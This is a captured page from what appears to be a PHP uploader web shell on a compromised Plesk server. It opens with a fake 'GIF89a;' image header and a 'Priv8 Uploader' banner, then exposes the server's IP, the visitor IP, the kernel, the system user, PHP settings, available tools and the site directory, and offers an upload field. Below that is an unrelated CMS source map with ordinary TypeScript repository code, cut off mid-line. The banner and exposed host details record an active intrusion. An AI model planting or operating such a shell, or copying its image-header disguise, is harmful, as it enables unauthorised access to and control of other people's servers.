GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.147 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/dist/ |
Upload File : |
{"version":3,"file":"search-n-ZCMfr3.mjs","names":["SEO_DEFAULTS","z","z","z","z","z","z","authenticatorTransport","z","registrationCredential","z","z","z","z","z","z","z","z","z","z","convertList","convertCodeBlock","convertImage","convertListItem","EXCLUSIVE_HOOK_KEY_PREFIX","resolveExclusiveHooksShared","TRAILING_SLASHES","WP_JSON_SUFFIX","normalizeUrl","normalizeUrl","getWidgetComponents","getComponentRegistry"],"sources":["../src/database/repositories/user.ts","../src/database/repositories/comment.ts","../src/plugins/storage-query.ts","../src/database/repositories/plugin-storage.ts","../src/fields/image.ts","../src/fields/file.ts","../src/fields/reference.ts","../src/fields/portable-text.ts","../src/database/repositories/seo.ts","../src/api/rev.ts","../src/media/mime.ts","../src/api/handlers/validate-media-fields.ts","../src/api/handlers/content.ts","../src/api/handlers/manifest.ts","../src/api/handlers/revision.ts","../src/api/handlers/media.ts","../src/schema/query.ts","../src/plugins/state.ts","../src/sections/index.ts","../src/api/handlers/marketplace.ts","../src/api/parse.ts","../src/api/schemas/common.ts","../src/api/schemas/bylines.ts","../src/api/schemas/content.ts","../src/api/schemas/media.ts","../src/api/schemas/schema.ts","../src/api/schemas/comments.ts","../src/api/schemas/auth.ts","../src/utils/url.ts","../src/api/schemas/menus.ts","../src/api/schemas/taxonomies.ts","../src/api/schemas/sections.ts","../src/api/schemas/settings.ts","../src/api/schemas/search.ts","../src/api/schemas/import.ts","../src/api/schemas/setup.ts","../src/api/schemas/users.ts","../src/api/schemas/widgets.ts","../src/api/schemas/redirects.ts","../src/content/converters/prosemirror-to-portable-text.ts","../src/content/converters/portable-text-to-prosemirror.ts","../src/after.ts","../src/cli/wxr/parser.ts","../src/plugins/define-plugin.ts","../src/auth/trusted-proxy.ts","../src/plugins/request-meta.ts","../src/plugins/cron.ts","../src/plugins/context.ts","../src/plugins/hooks.ts","../src/plugins/email.ts","../src/plugins/email-console.ts","../src/plugins/routes.ts","../src/plugins/manager.ts","../src/plugins/sandbox/noop.ts","../src/import/sections.ts","../src/import/registry.ts","../src/import/utils.ts","../src/import/sources/wxr.ts","../src/import/sources/wordpress-rest.ts","../src/import/sources/wordpress-plugin.ts","../src/import/index.ts","../src/preview/urls.ts","../src/preview/helpers.ts","../src/comments/query.ts","../src/menus/index.ts","../src/widgets/components.ts","../src/widgets/index.ts","../src/search/query.ts","../src/search/text-extraction.ts"],"sourcesContent":["import type { Kysely, Selectable, Updateable } from \"kysely\";\nimport { ulid } from \"ulidx\";\n\nimport type { Database, UserTable } from \"../types.js\";\nimport { encodeCursor, decodeCursor, type FindManyResult } from \"./types.js\";\n\ntype UserRow = Selectable<UserTable>;\n\n/**\n * Valid role levels matching the database schema.\n * 10=subscriber, 20=contributor, 30=author, 40=editor, 50=admin\n */\nexport type UserRole = 10 | 20 | 30 | 40 | 50;\n\n/** String role names for convenience APIs */\nexport type UserRoleName = \"subscriber\" | \"contributor\" | \"author\" | \"editor\" | \"admin\";\n\nexport interface User {\n\tid: string;\n\temail: string;\n\tname: string | null;\n\trole: UserRole;\n\tavatarUrl: string | null;\n\temailVerified: boolean;\n\tdata: Record<string, unknown> | null;\n\tcreatedAt: string;\n}\n\nexport interface CreateUserInput {\n\temail: string;\n\tname?: string;\n\trole?: UserRole | UserRoleName;\n\tavatarUrl?: string;\n\tdata?: Record<string, unknown>;\n}\n\nexport interface UpdateUserInput {\n\tname?: string;\n\trole?: UserRole | UserRoleName;\n\tavatarUrl?: string | null;\n\tdata?: Record<string, unknown>;\n}\n\n/**\n * User repository for CRUD operations\n */\nexport class UserRepository {\n\tconstructor(private db: Kysely<Database>) {}\n\n\t/**\n\t * Create a new user\n\t */\n\tasync create(input: CreateUserInput): Promise<User> {\n\t\tconst id = ulid();\n\n\t\tconst row: Omit<UserTable, \"created_at\" | \"updated_at\" | \"disabled\"> = {\n\t\t\tid,\n\t\t\temail: input.email.toLowerCase(),\n\t\t\tname: input.name ?? null,\n\t\t\trole: UserRepository.resolveRole(input.role ?? 10),\n\t\t\tavatar_url: input.avatarUrl ?? null,\n\t\t\temail_verified: 0,\n\t\t\tdata: input.data ? JSON.stringify(input.data) : null,\n\t\t};\n\n\t\tawait this.db.insertInto(\"users\").values(row).execute();\n\n\t\tconst user = await this.findById(id);\n\t\tif (!user) {\n\t\t\tthrow new Error(\"Failed to create user\");\n\t\t}\n\t\treturn user;\n\t}\n\n\t/**\n\t * Find user by ID\n\t */\n\tasync findById(id: string): Promise<User | null> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"users\")\n\t\t\t.selectAll()\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.executeTakeFirst();\n\n\t\treturn row ? this.rowToUser(row) : null;\n\t}\n\n\t/**\n\t * Find user by email (case-insensitive)\n\t */\n\tasync findByEmail(email: string): Promise<User | null> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"users\")\n\t\t\t.selectAll()\n\t\t\t.where(\"email\", \"=\", email.toLowerCase())\n\t\t\t.executeTakeFirst();\n\n\t\treturn row ? this.rowToUser(row) : null;\n\t}\n\n\t/**\n\t * List all users with cursor-based pagination\n\t */\n\tasync findMany(\n\t\toptions: {\n\t\t\trole?: UserRole | UserRoleName;\n\t\t\tlimit?: number;\n\t\t\tcursor?: string;\n\t\t} = {},\n\t): Promise<FindManyResult<User>> {\n\t\tconst limit = Math.min(Math.max(1, options.limit || 50), 100);\n\n\t\tlet query = this.db\n\t\t\t.selectFrom(\"users\")\n\t\t\t.selectAll()\n\t\t\t.orderBy(\"created_at\", \"desc\")\n\t\t\t.orderBy(\"id\", \"desc\")\n\t\t\t.limit(limit + 1);\n\n\t\tif (options.role !== undefined) {\n\t\t\tquery = query.where(\"role\", \"=\", UserRepository.resolveRole(options.role));\n\t\t}\n\n\t\tif (options.cursor) {\n\t\t\tconst decoded = decodeCursor(options.cursor);\n\t\t\tquery = query.where((eb) =>\n\t\t\t\teb.or([\n\t\t\t\t\teb(\"created_at\", \"<\", decoded.orderValue),\n\t\t\t\t\teb.and([eb(\"created_at\", \"=\", decoded.orderValue), eb(\"id\", \"<\", decoded.id)]),\n\t\t\t\t]),\n\t\t\t);\n\t\t}\n\n\t\tconst rows = await query.execute();\n\t\tconst items = rows.slice(0, limit).map((row) => this.rowToUser(row));\n\t\tconst result: FindManyResult<User> = { items };\n\n\t\tif (rows.length > limit && items.length > 0) {\n\t\t\tconst last = items.at(-1)!;\n\t\t\tresult.nextCursor = encodeCursor(last.createdAt, last.id);\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t/**\n\t * Update a user\n\t */\n\tasync update(id: string, input: UpdateUserInput): Promise<User | null> {\n\t\tconst existing = await this.findById(id);\n\t\tif (!existing) return null;\n\n\t\tconst updates: Updateable<UserTable> = {};\n\t\tif (input.name !== undefined) updates.name = input.name;\n\t\tif (input.role !== undefined) updates.role = UserRepository.resolveRole(input.role);\n\t\tif (input.avatarUrl !== undefined) updates.avatar_url = input.avatarUrl;\n\t\tif (input.data !== undefined) updates.data = JSON.stringify(input.data);\n\n\t\tif (Object.keys(updates).length > 0) {\n\t\t\tawait this.db.updateTable(\"users\").set(updates).where(\"id\", \"=\", id).execute();\n\t\t}\n\n\t\treturn this.findById(id);\n\t}\n\n\t/**\n\t * Delete a user\n\t */\n\tasync delete(id: string): Promise<boolean> {\n\t\tconst result = await this.db.deleteFrom(\"users\").where(\"id\", \"=\", id).executeTakeFirst();\n\n\t\treturn (result.numDeletedRows ?? 0) > 0;\n\t}\n\n\t/**\n\t * Count users\n\t */\n\tasync count(role?: UserRole | UserRoleName): Promise<number> {\n\t\tlet query = this.db.selectFrom(\"users\").select((eb) => eb.fn.count(\"id\").as(\"count\"));\n\n\t\tif (role !== undefined) {\n\t\t\tquery = query.where(\"role\", \"=\", UserRepository.resolveRole(role));\n\t\t}\n\n\t\tconst result = await query.executeTakeFirst();\n\t\treturn Number(result?.count || 0);\n\t}\n\n\t/**\n\t * Check if email exists\n\t */\n\tasync emailExists(email: string): Promise<boolean> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"users\")\n\t\t\t.select(\"id\")\n\t\t\t.where(\"email\", \"=\", email.toLowerCase())\n\t\t\t.executeTakeFirst();\n\n\t\treturn !!row;\n\t}\n\n\t/**\n\t * Convert database row to User object\n\t */\n\tprivate rowToUser(row: UserRow): User {\n\t\treturn {\n\t\t\tid: row.id,\n\t\t\temail: row.email,\n\t\t\tname: row.name,\n\t\t\trole: UserRepository.toRole(row.role),\n\t\t\tavatarUrl: row.avatar_url,\n\t\t\temailVerified: row.email_verified === 1,\n\t\t\tdata: row.data ? JSON.parse(row.data) : null,\n\t\t\tcreatedAt: row.created_at,\n\t\t};\n\t}\n\n\t/** Map of role name strings to numeric levels */\n\tprivate static readonly ROLE_NAME_TO_LEVEL: Record<UserRoleName, UserRole> = {\n\t\tsubscriber: 10,\n\t\tcontributor: 20,\n\t\tauthor: 30,\n\t\teditor: 40,\n\t\tadmin: 50,\n\t};\n\n\t/** Valid numeric role levels */\n\tprivate static readonly VALID_LEVELS = new Set<number>([10, 20, 30, 40, 50]);\n\n\t/**\n\t * Resolve a role name or number to a valid numeric UserRole.\n\t * Accepts both string names (\"admin\") and numeric levels (50).\n\t */\n\tstatic resolveRole(role: UserRole | UserRoleName): UserRole {\n\t\tif (typeof role === \"string\") {\n\t\t\tconst level = UserRepository.ROLE_NAME_TO_LEVEL[role];\n\t\t\tif (level === undefined) {\n\t\t\t\tthrow new Error(`Invalid role name: ${role}`);\n\t\t\t}\n\t\t\treturn level;\n\t\t}\n\t\tif (!UserRepository.VALID_LEVELS.has(role)) {\n\t\t\tthrow new Error(`Invalid role level: ${role}`);\n\t\t}\n\t\treturn role;\n\t}\n\n\t/**\n\t * Convert a raw DB integer to a typed UserRole.\n\t * Falls back to subscriber (10) for unknown values.\n\t */\n\tprivate static toRole(level: number): UserRole {\n\t\tif (UserRepository.VALID_LEVELS.has(level)) return level as UserRole;\n\t\treturn 10;\n\t}\n}\n","import { sql, type ExpressionBuilder, type Kysely } from \"kysely\";\nimport { ulid } from \"ulidx\";\n\nimport type { Database } from \"../types.js\";\nimport { encodeCursor, decodeCursor, type FindManyResult } from \"./types.js\";\n\n/** Matches LIKE wildcard characters and the escape character itself */\nconst LIKE_ESCAPE_RE = /[%_\\\\]/g;\n\n// ---------------------------------------------------------------------------\n// Types\n// ---------------------------------------------------------------------------\n\nexport type CommentStatus = \"pending\" | \"approved\" | \"spam\" | \"trash\";\n\nexport interface Comment {\n\tid: string;\n\tcollection: string;\n\tcontentId: string;\n\tparentId: string | null;\n\tauthorName: string;\n\tauthorEmail: string;\n\tauthorUserId: string | null;\n\tbody: string;\n\tstatus: CommentStatus;\n\tipHash: string | null;\n\tuserAgent: string | null;\n\tmoderationMetadata: Record<string, unknown> | null;\n\tcreatedAt: string;\n\tupdatedAt: string;\n}\n\n/** Public-facing comment shape — no private fields */\nexport interface PublicComment {\n\tid: string;\n\tparentId: string | null;\n\tauthorName: string;\n\tisRegisteredUser: boolean;\n\tbody: string;\n\tcreatedAt: string;\n\treplies?: PublicComment[];\n}\n\nexport interface CreateCommentInput {\n\tcollection: string;\n\tcontentId: string;\n\tparentId?: string | null;\n\tauthorName: string;\n\tauthorEmail: string;\n\tauthorUserId?: string | null;\n\tbody: string;\n\tstatus?: CommentStatus;\n\tipHash?: string | null;\n\tuserAgent?: string | null;\n\tmoderationMetadata?: Record<string, unknown> | null;\n}\n\nexport interface CommentFindOptions {\n\tstatus?: CommentStatus;\n\tcollection?: string;\n\tsearch?: string;\n\tlimit?: number;\n\tcursor?: string;\n}\n\n// ---------------------------------------------------------------------------\n// Repository\n// ---------------------------------------------------------------------------\n\nexport class CommentRepository {\n\tconstructor(private db: Kysely<Database>) {}\n\n\t/**\n\t * Create a new comment\n\t */\n\tasync create(input: CreateCommentInput): Promise<Comment> {\n\t\tconst id = ulid();\n\t\tconst now = new Date().toISOString();\n\n\t\tawait this.db\n\t\t\t.insertInto(\"_emdash_comments\")\n\t\t\t.values({\n\t\t\t\tid,\n\t\t\t\tcollection: input.collection,\n\t\t\t\tcontent_id: input.contentId,\n\t\t\t\tparent_id: input.parentId ?? null,\n\t\t\t\tauthor_name: input.authorName,\n\t\t\t\tauthor_email: input.authorEmail,\n\t\t\t\tauthor_user_id: input.authorUserId ?? null,\n\t\t\t\tbody: input.body,\n\t\t\t\tstatus: input.status ?? \"pending\",\n\t\t\t\tip_hash: input.ipHash ?? null,\n\t\t\t\tuser_agent: input.userAgent ?? null,\n\t\t\t\tmoderation_metadata: input.moderationMetadata\n\t\t\t\t\t? JSON.stringify(input.moderationMetadata)\n\t\t\t\t\t: null,\n\t\t\t\tcreated_at: now,\n\t\t\t\tupdated_at: now,\n\t\t\t})\n\t\t\t.execute();\n\n\t\tconst comment = await this.findById(id);\n\t\tif (!comment) {\n\t\t\tthrow new Error(\"Failed to create comment\");\n\t\t}\n\t\treturn comment;\n\t}\n\n\t/**\n\t * Find comment by ID\n\t */\n\tasync findById(id: string): Promise<Comment | null> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t.selectAll()\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.executeTakeFirst();\n\n\t\treturn row ? this.rowToComment(row) : null;\n\t}\n\n\t/**\n\t * Find comments for a content item with optional status filter.\n\t * Results are ordered by created_at ASC (oldest first) for display.\n\t */\n\tasync findByContent(\n\t\tcollection: string,\n\t\tcontentId: string,\n\t\toptions: { status?: CommentStatus; limit?: number; cursor?: string } = {},\n\t): Promise<FindManyResult<Comment>> {\n\t\tconst limit = Math.min(options.limit || 50, 100);\n\n\t\tlet query = this.db\n\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t.selectAll()\n\t\t\t.where(\"collection\", \"=\", collection)\n\t\t\t.where(\"content_id\", \"=\", contentId);\n\n\t\tif (options.status) {\n\t\t\tquery = query.where(\"status\", \"=\", options.status);\n\t\t}\n\n\t\t// Cursor pagination (ascending by created_at)\n\t\tif (options.cursor) {\n\t\t\tconst decoded = decodeCursor(options.cursor);\n\t\t\tquery = query.where((eb: ExpressionBuilder<Database, \"_emdash_comments\">) =>\n\t\t\t\teb.or([\n\t\t\t\t\teb(\"created_at\", \">\", decoded.orderValue),\n\t\t\t\t\teb.and([eb(\"created_at\", \"=\", decoded.orderValue), eb(\"id\", \">\", decoded.id)]),\n\t\t\t\t]),\n\t\t\t);\n\t\t}\n\n\t\tquery = query\n\t\t\t.orderBy(\"created_at\", \"asc\")\n\t\t\t.orderBy(\"id\", \"asc\")\n\t\t\t.limit(limit + 1);\n\n\t\tconst rows = await query.execute();\n\t\tconst hasMore = rows.length > limit;\n\t\tconst items = rows.slice(0, limit).map((r) => this.rowToComment(r));\n\n\t\tconst result: FindManyResult<Comment> = { items };\n\t\tif (hasMore && items.length > 0) {\n\t\t\tconst last = items.at(-1)!;\n\t\t\tresult.nextCursor = encodeCursor(last.createdAt, last.id);\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * Find comments by status (moderation inbox).\n\t * Results are ordered by created_at DESC (newest first).\n\t */\n\tasync findByStatus(\n\t\tstatus: CommentStatus,\n\t\toptions: { collection?: string; search?: string; limit?: number; cursor?: string } = {},\n\t): Promise<FindManyResult<Comment>> {\n\t\tconst limit = Math.min(options.limit || 50, 100);\n\n\t\tlet query = this.db.selectFrom(\"_emdash_comments\").selectAll().where(\"status\", \"=\", status);\n\n\t\tif (options.collection) {\n\t\t\tquery = query.where(\"collection\", \"=\", options.collection);\n\t\t}\n\n\t\tif (options.search) {\n\t\t\t// Escape LIKE wildcards to prevent them acting as SQL pattern characters\n\t\t\tconst escaped = options.search.replace(LIKE_ESCAPE_RE, (ch) => `\\\\${ch}`);\n\t\t\tconst term = `%${escaped}%`;\n\t\t\tquery = query.where((eb: ExpressionBuilder<Database, \"_emdash_comments\">) =>\n\t\t\t\teb.or([\n\t\t\t\t\tsql<boolean>`author_name LIKE ${term} ESCAPE '\\\\'`,\n\t\t\t\t\tsql<boolean>`author_email LIKE ${term} ESCAPE '\\\\'`,\n\t\t\t\t\tsql<boolean>`body LIKE ${term} ESCAPE '\\\\'`,\n\t\t\t\t]),\n\t\t\t);\n\t\t}\n\n\t\t// Cursor pagination (descending by created_at)\n\t\tif (options.cursor) {\n\t\t\tconst decoded = decodeCursor(options.cursor);\n\t\t\tquery = query.where((eb: ExpressionBuilder<Database, \"_emdash_comments\">) =>\n\t\t\t\teb.or([\n\t\t\t\t\teb(\"created_at\", \"<\", decoded.orderValue),\n\t\t\t\t\teb.and([eb(\"created_at\", \"=\", decoded.orderValue), eb(\"id\", \"<\", decoded.id)]),\n\t\t\t\t]),\n\t\t\t);\n\t\t}\n\n\t\tquery = query\n\t\t\t.orderBy(\"created_at\", \"desc\")\n\t\t\t.orderBy(\"id\", \"desc\")\n\t\t\t.limit(limit + 1);\n\n\t\tconst rows = await query.execute();\n\t\tconst hasMore = rows.length > limit;\n\t\tconst items = rows.slice(0, limit).map((r) => this.rowToComment(r));\n\n\t\tconst result: FindManyResult<Comment> = { items };\n\t\tif (hasMore && items.length > 0) {\n\t\t\tconst last = items.at(-1)!;\n\t\t\tresult.nextCursor = encodeCursor(last.createdAt, last.id);\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * Update comment status\n\t */\n\tasync updateStatus(id: string, status: CommentStatus): Promise<Comment | null> {\n\t\tconst now = new Date().toISOString();\n\n\t\tawait this.db\n\t\t\t.updateTable(\"_emdash_comments\")\n\t\t\t.set({ status, updated_at: now })\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.execute();\n\n\t\treturn this.findById(id);\n\t}\n\n\t/**\n\t * Bulk update comment statuses\n\t */\n\tasync bulkUpdateStatus(ids: string[], status: CommentStatus): Promise<number> {\n\t\tif (ids.length === 0) return 0;\n\n\t\tconst now = new Date().toISOString();\n\n\t\tconst result = await this.db\n\t\t\t.updateTable(\"_emdash_comments\")\n\t\t\t.set({ status, updated_at: now })\n\t\t\t.where(\"id\", \"in\", ids)\n\t\t\t.executeTakeFirst();\n\n\t\treturn Number(result.numUpdatedRows ?? 0);\n\t}\n\n\t/**\n\t * Hard-delete a single comment. Replies cascade via FK.\n\t */\n\tasync delete(id: string): Promise<boolean> {\n\t\tconst result = await this.db\n\t\t\t.deleteFrom(\"_emdash_comments\")\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.executeTakeFirst();\n\n\t\treturn (result.numDeletedRows ?? 0) > 0;\n\t}\n\n\t/**\n\t * Bulk hard-delete comments\n\t */\n\tasync bulkDelete(ids: string[]): Promise<number> {\n\t\tif (ids.length === 0) return 0;\n\n\t\tconst result = await this.db\n\t\t\t.deleteFrom(\"_emdash_comments\")\n\t\t\t.where(\"id\", \"in\", ids)\n\t\t\t.executeTakeFirst();\n\n\t\treturn Number(result.numDeletedRows ?? 0);\n\t}\n\n\t/**\n\t * Delete all comments for a content item (cascade on content deletion)\n\t */\n\tasync deleteByContent(collection: string, contentId: string): Promise<number> {\n\t\tconst result = await this.db\n\t\t\t.deleteFrom(\"_emdash_comments\")\n\t\t\t.where(\"collection\", \"=\", collection)\n\t\t\t.where(\"content_id\", \"=\", contentId)\n\t\t\t.executeTakeFirst();\n\n\t\treturn Number(result.numDeletedRows ?? 0);\n\t}\n\n\t/**\n\t * Count comments for a content item, optionally filtered by status\n\t */\n\tasync countByContent(\n\t\tcollection: string,\n\t\tcontentId: string,\n\t\tstatus?: CommentStatus,\n\t): Promise<number> {\n\t\tlet query = this.db\n\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t.select((eb) => eb.fn.count(\"id\").as(\"count\"))\n\t\t\t.where(\"collection\", \"=\", collection)\n\t\t\t.where(\"content_id\", \"=\", contentId);\n\n\t\tif (status) {\n\t\t\tquery = query.where(\"status\", \"=\", status);\n\t\t}\n\n\t\tconst result = await query.executeTakeFirst();\n\t\treturn Number(result?.count ?? 0);\n\t}\n\n\t/**\n\t * Count comments grouped by status (for inbox badges)\n\t *\n\t * Uses four parallel COUNT queries with WHERE filters to leverage partial indexes\n\t * (idx_comments_pending, idx_comments_approved, idx_comments_spam, idx_comments_trash)\n\t * instead of a full table GROUP BY scan.\n\t */\n\tasync countByStatus(): Promise<Record<CommentStatus, number>> {\n\t\t// Execute four parallel COUNT queries, each using its partial index\n\t\tconst [pending, approved, spam, trash] = await Promise.all([\n\t\t\tthis.db\n\t\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t\t.select((eb) => eb.fn.count(\"id\").as(\"count\"))\n\t\t\t\t.where(\"status\", \"=\", \"pending\")\n\t\t\t\t.executeTakeFirst(),\n\t\t\tthis.db\n\t\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t\t.select((eb) => eb.fn.count(\"id\").as(\"count\"))\n\t\t\t\t.where(\"status\", \"=\", \"approved\")\n\t\t\t\t.executeTakeFirst(),\n\t\t\tthis.db\n\t\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t\t.select((eb) => eb.fn.count(\"id\").as(\"count\"))\n\t\t\t\t.where(\"status\", \"=\", \"spam\")\n\t\t\t\t.executeTakeFirst(),\n\t\t\tthis.db\n\t\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t\t.select((eb) => eb.fn.count(\"id\").as(\"count\"))\n\t\t\t\t.where(\"status\", \"=\", \"trash\")\n\t\t\t\t.executeTakeFirst(),\n\t\t]);\n\n\t\treturn {\n\t\t\tpending: Number(pending?.count ?? 0),\n\t\t\tapproved: Number(approved?.count ?? 0),\n\t\t\tspam: Number(spam?.count ?? 0),\n\t\t\ttrash: Number(trash?.count ?? 0),\n\t\t};\n\t}\n\n\t/**\n\t * Count approved comments from a given email address.\n\t * Used for \"first time commenter\" moderation logic.\n\t */\n\tasync countApprovedByEmail(email: string): Promise<number> {\n\t\tconst result = await this.db\n\t\t\t.selectFrom(\"_emdash_comments\")\n\t\t\t.select((eb) => eb.fn.count(\"id\").as(\"count\"))\n\t\t\t.where(\"author_email\", \"=\", email)\n\t\t\t.where(\"status\", \"=\", \"approved\")\n\t\t\t.executeTakeFirst();\n\n\t\treturn Number(result?.count ?? 0);\n\t}\n\n\t/**\n\t * Update the moderation metadata JSON on a comment\n\t */\n\tasync updateModerationMetadata(id: string, metadata: Record<string, unknown>): Promise<void> {\n\t\tawait this.db\n\t\t\t.updateTable(\"_emdash_comments\")\n\t\t\t.set({ moderation_metadata: JSON.stringify(metadata) })\n\t\t\t.where(\"id\", \"=\", id)\n\t\t\t.execute();\n\t}\n\n\t// ---------------------------------------------------------------------------\n\t// Helpers\n\t// ---------------------------------------------------------------------------\n\n\t/**\n\t * Assemble a flat list of comments into a threaded structure (1-level nesting)\n\t */\n\tstatic assembleThreads(comments: Comment[]): Comment[] {\n\t\tconst roots: Comment[] = [];\n\t\tconst childrenMap = new Map<string, Comment[]>();\n\n\t\tfor (const comment of comments) {\n\t\t\tif (comment.parentId) {\n\t\t\t\tconst siblings = childrenMap.get(comment.parentId) ?? [];\n\t\t\t\tsiblings.push(comment);\n\t\t\t\tchildrenMap.set(comment.parentId, siblings);\n\t\t\t} else {\n\t\t\t\troots.push(comment);\n\t\t\t}\n\t\t}\n\n\t\t// Attach children as a non-standard property — callers map to PublicComment.replies\n\t\treturn roots.map((root) => ({\n\t\t\t...root,\n\t\t\t_replies: childrenMap.get(root.id) ?? [],\n\t\t})) as Comment[];\n\t}\n\n\t/**\n\t * Convert a Comment to its public-facing shape\n\t */\n\tstatic toPublicComment(comment: Comment & { _replies?: Comment[] }): PublicComment {\n\t\tconst pub: PublicComment = {\n\t\t\tid: comment.id,\n\t\t\tparentId: comment.parentId,\n\t\t\tauthorName: comment.authorName,\n\t\t\tisRegisteredUser: comment.authorUserId !== null,\n\t\t\tbody: comment.body,\n\t\t\tcreatedAt: comment.createdAt,\n\t\t};\n\n\t\tif (comment._replies && comment._replies.length > 0) {\n\t\t\tpub.replies = comment._replies.map((r) => CommentRepository.toPublicComment(r));\n\t\t}\n\n\t\treturn pub;\n\t}\n\n\t// eslint-disable-next-line @typescript-eslint/no-explicit-any -- selectAll returns runtime row\n\tprivate rowToComment(row: any): Comment {\n\t\treturn {\n\t\t\tid: row.id,\n\t\t\tcollection: row.collection,\n\t\t\tcontentId: row.content_id,\n\t\t\tparentId: row.parent_id,\n\t\t\tauthorName: row.author_name,\n\t\t\tauthorEmail: row.author_email,\n\t\t\tauthorUserId: row.author_user_id,\n\t\t\tbody: row.body,\n\t\t\tstatus: row.status as CommentStatus,\n\t\t\tipHash: row.ip_hash,\n\t\t\tuserAgent: row.user_agent,\n\t\t\tmoderationMetadata: row.moderation_metadata ? safeJsonParse(row.moderation_metadata) : null,\n\t\t\tcreatedAt: row.created_at,\n\t\t\tupdatedAt: row.updated_at,\n\t\t};\n\t}\n}\n\n// ---------------------------------------------------------------------------\n// Module helpers\n// ---------------------------------------------------------------------------\n\nfunction safeJsonParse(value: string): Record<string, unknown> | null {\n\ttry {\n\t\treturn JSON.parse(value) as Record<string, unknown>;\n\t} catch {\n\t\treturn null;\n\t}\n}\n","/**\n * Plugin Storage Query Validation and Building\n *\n * Validates that queries only use indexed fields and builds SQL WHERE clauses.\n *\n * @see PLUGIN-SYSTEM.md § Plugin Storage > Query Validation\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport { jsonExtractExpr } from \"../database/dialect-helpers.js\";\nimport { validateJsonFieldName } from \"../database/validate.js\";\nimport type { WhereClause, WhereValue, RangeFilter, InFilter, StartsWithFilter } from \"./types.js\";\n\n/**\n * Error thrown when querying non-indexed fields\n */\nexport class StorageQueryError extends Error {\n\tconstructor(\n\t\tmessage: string,\n\t\tpublic field?: string,\n\t\tpublic suggestion?: string,\n\t) {\n\t\tsuper(message);\n\t\tthis.name = \"StorageQueryError\";\n\t}\n}\n\n/**\n * Check if a value is a range filter\n */\nexport function isRangeFilter(value: WhereValue): value is RangeFilter {\n\tif (typeof value !== \"object\" || value === null) return false;\n\treturn \"gt\" in value || \"gte\" in value || \"lt\" in value || \"lte\" in value;\n}\n\n/**\n * Check if a value is an IN filter\n */\nexport function isInFilter(value: WhereValue): value is InFilter {\n\tif (typeof value !== \"object\" || value === null) return false;\n\treturn \"in\" in value && Array.isArray(value.in);\n}\n\n/**\n * Check if a value is a startsWith filter\n */\nexport function isStartsWithFilter(value: WhereValue): value is StartsWithFilter {\n\tif (typeof value !== \"object\" || value === null) return false;\n\treturn \"startsWith\" in value && typeof value.startsWith === \"string\";\n}\n\n/**\n * Get the set of indexed fields from index declarations\n */\nexport function getIndexedFields(indexes: Array<string | string[]>): Set<string> {\n\tconst fields = new Set<string>();\n\tfor (const index of indexes) {\n\t\tif (Array.isArray(index)) {\n\t\t\tfor (const field of index) {\n\t\t\t\tfields.add(field);\n\t\t\t}\n\t\t} else {\n\t\t\tfields.add(index);\n\t\t}\n\t}\n\treturn fields;\n}\n\n/**\n * Validate that all fields in a where clause are indexed\n */\nexport function validateWhereClause(\n\twhere: WhereClause,\n\tindexedFields: Set<string>,\n\tpluginId: string,\n\tcollection: string,\n): void {\n\tfor (const field of Object.keys(where)) {\n\t\tif (!indexedFields.has(field)) {\n\t\t\tthrow new StorageQueryError(\n\t\t\t\t`Cannot query on non-indexed field '${field}'.`,\n\t\t\t\tfield,\n\t\t\t\t`Add '${field}' to storage.${collection}.indexes in plugin '${pluginId}' to enable this query.`,\n\t\t\t);\n\t\t}\n\t}\n}\n\n/**\n * Validate orderBy fields are indexed\n */\nexport function validateOrderByClause(\n\torderBy: Record<string, \"asc\" | \"desc\">,\n\tindexedFields: Set<string>,\n\tpluginId: string,\n\tcollection: string,\n): void {\n\tfor (const field of Object.keys(orderBy)) {\n\t\tif (!indexedFields.has(field)) {\n\t\t\tthrow new StorageQueryError(\n\t\t\t\t`Cannot order by non-indexed field '${field}'.`,\n\t\t\t\tfield,\n\t\t\t\t`Add '${field}' to storage.${collection}.indexes in plugin '${pluginId}' to enable ordering by this field.`,\n\t\t\t);\n\t\t}\n\t}\n}\n\n/**\n * SQL expression for extracting JSON field.\n *\n * Validates the field name before interpolation to prevent SQL injection\n * via crafted JSON path expressions.\n */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any -- accepts any Kysely instance\nexport function jsonExtract(db: Kysely<any>, field: string): string {\n\tvalidateJsonFieldName(field, \"query field name\");\n\treturn jsonExtractExpr(db, \"data\", field);\n}\n\n/**\n * Build a WHERE clause condition for a single field\n */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any -- accepts any Kysely instance\nexport function buildCondition(\n\tdb: Kysely<any>,\n\tfield: string,\n\tvalue: WhereValue,\n): { sql: string; params: unknown[] } {\n\tconst extract = jsonExtract(db, 